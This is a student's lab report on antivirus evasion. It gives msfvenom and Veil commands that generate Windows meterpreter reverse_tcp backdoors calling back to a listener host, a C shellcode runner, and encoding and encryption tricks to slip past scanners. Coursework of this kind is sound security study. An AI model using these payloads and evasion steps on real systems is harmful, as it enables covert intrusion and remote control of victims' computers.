Exp3-免杀原理 20202211王宏韬

目录

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

 (2)免杀是做什么?

 (3)免杀的基本方法有哪些?
    
 (4)开启杀软能绝对防止电脑中恶意代码吗?

2.实践总结与体会

3.实践过程记录

3.1环境准备

 3.1.1安装wine32

 3.1.2安装工具veil

3.2正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

3.3veil,加壳工具

3.4使用C + shellcode编程

3.5通过组合应用各种技术实现恶意代码免杀

4.遇到的问题及解决

  4.1sudo无法解析主机

  4.2 wine安装不成功

  4.3veil乱码空格

1.基础问题回答

(1)杀软是如何检测出恶意代码的?

答:一是通过检测特征码。各套杀毒软件的病毒库记录了一些恶意软件的特征码,一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。根据已检测出或网络上公布的病毒,对其提取特征码,记录在病毒库中,检测到程序时将程序与特征码比对即可判断是否是恶意代码;

  二是启发式恶意软件检测。运用对比和比较的方法,将一个软件与恶意软件的行为、代码等作比对,如果发现相似度达到一定程度,即判定这个程序为恶意代码,有一定误报可能。
  三是基于行为检测。主要是靠追踪监测,对运行的所有进程进行实时监控,如果有敏感行为会被认为是恶意程序与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。

(2)免杀是做什么?

答:免杀就是使得恶意软件不被杀毒软件与安全软件识别、查杀,使二者能够共同存在。让我们的后门程序在目标机器上不被杀毒软件或者其他的防护软件识别并删除。

(3)免杀的基本方法有哪些?

答:改变特征码:加壳、encode编码、用其他语言重写;

  改变行为:使用反弹式连接、隧道技术、加密通讯、减少对系统修改操作、加入混淆代码段。

(4)开启杀软能绝对防止电脑中恶意代码吗?

答:不能绝对防止电脑中恶意代码。开启杀毒软件可以大大降低电脑受到恶意代码攻击的风险,但不能绝对防止恶意代码的入侵。恶意代码的变异速度很快,而杀毒软件需要时不时更新才能适应新的威胁。此外,您也需要小心自己的上网行为,例如不要在不信任的网站下载文件,不要打开不明来路的电子邮件附件等。

2.实践总结与体会

  本次实验在实验中,使用后门技术对系统进行入侵,旨在越过防线,使系统的安全破裂。通过掌握“后门免杀原理”,可以发现和消除这些后门,从而保护计算机系统的完整性。在实验中,除了理论知识以外,实践操作也是非常重要的。实验通过模拟真实场景下的攻击,可以让我们更好地理解恶意软件的行为和攻击手段,以及如何应对和解决这些攻击。同时,也培养了我们的安全意识和能力,在我们日常使用计算机时更加注意和保护我们的数据和隐私。

3.实践过程记录

  3.1环境准备

  3.1.1安装wine32

  进入kali打开终端并开启i386支持。

 

sudo dpkg --add-architecture i386

 

  修改/etc/apt/中的sources.list配置文件添加如下内容

vim /etc/apt/sources.list
-----------------------------------------------------------
deb https:
//dl.winehq.org/wine-builds/debian/ stretch main

  执行以下命令出现ok则代表成功

wget -nc https://dl.winehq.org/wine-builds/winehq.key

sudo apt-key add winehq.key

 

 

   下载wine32,完成后并检查wine版本

apt-get install wine32

wine --version

 

  3.1.2安装工具veil

  输入veil等待安装,一路确认安装next即可

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 知道上图出现DONE!则安装完成

 

  3.2正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  直接生成exe后门可执行文件

 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.203.128 PORT=2211 -f exe > 20202211_backdoor.exe

 

 

 

   

使用Unicode编码一次

 

 

 

 

 

 使用编码器编码22次后:

 

 

 

 

 

 利用php格式文件检测

 

 

 

 

 

 利用jar文件检测

 

 

 

 

 

 

 

 

  3.3veil,加壳工具

 

  利用加壳工具产生后门软件

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.203.128
set LPORT 2211
generate

 

 

 

 

 

 

 

 

 

 检测结果:

 

 

 免杀加壳尝试:

 

 

 

 

 

 

 

 

  3.4使用C + shellcode编程

 

    使用msfvenom 得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.203.128 LPORT=2211 -f c

 

 

 将生成的机器码写入c语言文件

vim shellcode_c.c
------------------------------------
int
main() { int (*func)() =(int(*)())buf; func(); }

 

 

 编译成可执行文件

i686-w64-mingw32-g++ shellcode_c2211.c -o shellcode2211_c.exe

 

 

 检测结果:

 

 

 

 

  3.5组合应用各种技术实现恶意代码免杀

 

  利用python+aes_encrypt

  

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 检测结果:

 

 

 

 

 

 

 

 

4.遇到的问题与解决

  4.1 sudo: 无法解析主机

  在安装veil工具时,一直出现无法解析主机导致无法连接下载安装失败,经过查询发现原来是起初修改主机名时我只是简单的更改了名字,并没有相应的更改主机配置文件。因此将127.0.1.1响应名字由kali改为我的主机名后就可以成功加载了

 

 

 

 

 

 

 

  4.2 wine安装不成功

  本次wine32安装包内容较大,因此如果网络数据不好,可能会导致连接过久,等待报头没接收到从而下载失败。经过我多次反复下载后,wine32还是成功下载了。

 

  4.3 veil乱码空格

  由于我初期将kali汉化过,因此在安装veil过程中有些英文没有汉化,出现很多空白框,但只要找对next按钮也无伤大雅。后面更改回英文模式后又正常显示了。

 

 

 

 

 

 

 

posted @ 2023-03-30 22:24  望红桃  阅读(87)  评论(0)    收藏  举报